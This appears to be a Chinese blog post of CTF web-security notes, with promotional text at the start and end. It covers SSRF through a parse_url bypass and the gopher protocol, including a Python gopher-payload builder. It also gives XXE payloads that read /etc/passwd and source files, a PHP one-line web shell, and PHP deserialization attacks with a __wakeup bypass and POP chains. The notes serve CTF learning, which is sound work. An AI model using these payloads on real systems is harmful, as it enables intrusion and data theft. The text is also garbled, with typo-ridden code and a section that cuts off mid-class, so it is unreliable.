网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
root:x:0:0:root:/root:/bin/bash
xaiowang:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
lihua:x:2:2:bin:/bin:/usr/sbin/nologin
...
wangmei:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash
parse_url()函数函数")
parse_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可
使用XXX@www.baidu.com绕过,就会有一个新的传参user,其值为XXX
换成file协议parse_url()函数也可以解析
<?php
//I stored flag.txt at baidu.com
show_source(__FILE__);
if(isset($_GET['url']));
$url=parse_url($_GET['URL']);
if(!url){
die('can not parse url:'.$_GET['url']);
}
if(substr($_GET['url'],strlen('http://').strlen(baidu.com))==='baidu.com'){
die('hi,papi,you must pass this!']);
}
if($url['host']==='baidu,com'){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$GET['url']);
curl_exec($ch);
curl_close($ch);
}else{
die('save it,hacker');
}
}
白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码
<?php echo file_get_contents($GET_[W]);
GET传参和POST传参的对象可能会存在不同
一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL
如果非要POST传参,可以使用gopher协议
gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码
可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数)
在gopher协议下要注意content_length——它的长度要传参内容的长度保持一致
eg:gopher://目标ip:80_POST%20/security/flag.php……
python脚本化gopher协议
自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可
实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4_ 即可
import urllib
import requests
test =\
"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded
w=flag.php
"""
tmp=urllib.parse.quote(test) //url编码
new=tmp.replace('0A','%0D%0A') //换行替换
result='gopher://192.164.32.4_'+new //使用的时候换IP即可
print(result)
先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-CSDN博客_lazy1310的博客-CSDN博客")
ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-CSDN博客
清除cookie可以退出当前的登录状态
XXE漏洞
pikachu之XXE_pikachu xxe-CSDN博客
XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素**(冷门漏洞,但高危)**
当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户
xxe漏洞支持file、http、php://filter 等协议,file协议支持任意文件读取(但是需要注意的是,XML文本中如果它的标签是定死的,就必须按这个给出的标签来,也就是说要根据源码指定最后输出的文件名确定标签里面是什么内容,如果读取失败的话,也有可能是没有加根标签)
从XXE到RCE的完美利用:利用不安全的 XML 和 ZIP 文件解析器创建 WebShell
xxe漏洞学习_xxe漏洞结合expect组件-CSDN博客
expect组件初次使用需要安装,Linux系统 PHP安装expect扩展详解_expect命令安装-CSDN博客
expect协议不支持在,命令中有空格,如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞,又安装了expect扩展——因为这个扩展默认是不安装的
<?php eval ($_POST[w]);?>
超级详细的 FinalShell 安装 及使用教程_-CSDN博客(网站服务器+xshell)
题目一
启动第一个靶机,常规遇到登录框,先用弱口令试一下
不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签
构造payload如下:(一般来说这个很冷门)
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "filter:///etc/passwd">
]>
<user><username>&xxe;</username><password>1</password></user>
#调用xxe实体,执行后面的命令————读取/etc/passwd文件
xxe还可以进行内网信息收集,如探索存活主机、查看路由等
本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag
题目二
第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息
加xml代码模板,读取当前页面,然后base64解码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&admin;</username><password>1234</password></user>
md5解码如下,但是登不进去admin
然后读内网IP,也没什么用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>1234</password></user>
读apr文件,如下有个IP地址
然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务
再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显
放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1
理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag
反序列化pop链条
析构方法__destruct()在类的对象销毁的时候自动解析或者执行在类的对象销毁的时候自动解析或者执行")
PHP中 __toString()方法详解-php教程-PHP中文网方法详解-php教程-PHP中文网")
类的一些魔术的方法
<?php
class CMDClass
{
public $cmd=""; //默认cmd为空,也就是不输入任何的数据
function __wakeup()
//魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig
//反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法
{
if(strpos($this->cmd 'ip') !== flase)
$this->cmd="echo 非法输入";
}
function __destruct()
//析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的
{
passthru($this->cmd,$result);
}
function __toString()
//魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么
{
return "";
}
}
$a=unserialize($POST['xxx']); //反序列化函数
echo $a;
//post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法
//此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果
__wakeup()魔术方法绕过(CVE-2016-7124)魔术方法绕过(CVE-2016-7124)")
wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的
绕过的话,首先要知道它的源码,把源码放到菜鸟工具
<?php
class CMDClass
{
public $cmd="ipconfig"; //输入敏感字符
}
$a=new CMDClass;
echo serialize($a); //得到序列化的结果
O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
绕过的话,只需要把类的个数该得比它原本的个数大即可
然后浏览源码所在的页面,打开hackbar,下载url,然后post传参
a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";}
但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10
php的类中变量的三种声明
变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问
在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别:
- public:可以被类的方法和外部代码访问
- protected:只能被类的方法和其子类访问
- private:只能在类定义中访问
把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化:
1、变量为pubulic时序列化的运行结果
公开属性的只会显示类的属性
2、将变量改为private之后的运行结果
私有的会显示类名加属性
此时s之后的数字变为了13,可以看到他之后的所有的字符串就是13个,未显示的字符是%00,属于具有截断含义的不可见字符串,此时显示的字符其实是浏览器渲染的结果
直接复制过去,然后把类的个数改大一点就可以直接绕过了
但是此时浏览器渲染的%00可以直接手动换为具体的字符串,或者在菜鸟工具里面把最后一行加个urlencode()函数编码,直接编码为url,避免在序列化内容过多的时候手动该%00过于麻烦,但是此时就需要在一堆编码里面准确的找到类的个数是哪个,一般来说类的个数处于两个冒号之间,冒号的url编码是%3A,所以找到偏前面一点的,在两个%3A之间的数字改大一点就可以了
具体结果如下所示:
3、将变量改为protected之后的序列化结果
此时它也有%00,但是此时也是只有类的属性名字,没有具体的类名,也可以使用你lencode函数来编码之后再更改类的个数
BUUCTF [web专项16][极客大挑战 2019]PHP_buuctfmore fast-CSDN博客
首先进入靶场之后,此页面下面可以先访问一下主页index.php
然后扫目录看一下,就会扫出来www.zip,浏览此页面,就会自动下载目标页面的源码包,然后打开此源码包,会发现有很多前端代码,但主要在于php文件里面(里面会有一个假flag)
主要就是class.php文件的审计代码,得到用户名必须为admin, 密码必须为100才会打印flag,但是类里面的wakeup方法不能执行,执行之后就会置为guest
index页面包含class页面,里面友谊个GET春蚕的反序列化点,所以可以使用序列化绕过wawkeup方法,然后打印flag
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
//之前类里面的所有的方法都删掉,其余的东西不变
//然后在后面再构造一个新的类,这个类使用的就是最新的可以通过的账号密码
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
由于账号密码是私有变量,但是在网页查看源代码的时候会发现有序列化的结果,使用编码函数urlencode()带出序列化的结果之后,把两个%3A之间的数字改为比原来大的数字之后,就会自动打印flag了
pop链条
PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改_魔术方法与反序列化pop链
一般来说,在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入
触发flag或者rce的方法都是在魔术方法里面
pop链就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的
php中魔术方法详解_php魔术方法的讲解与使用-CSDN博客
php有哪些魔术方法_php魔术方法有哪些-PHP问题-PHP中文网
<?php #pop链
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**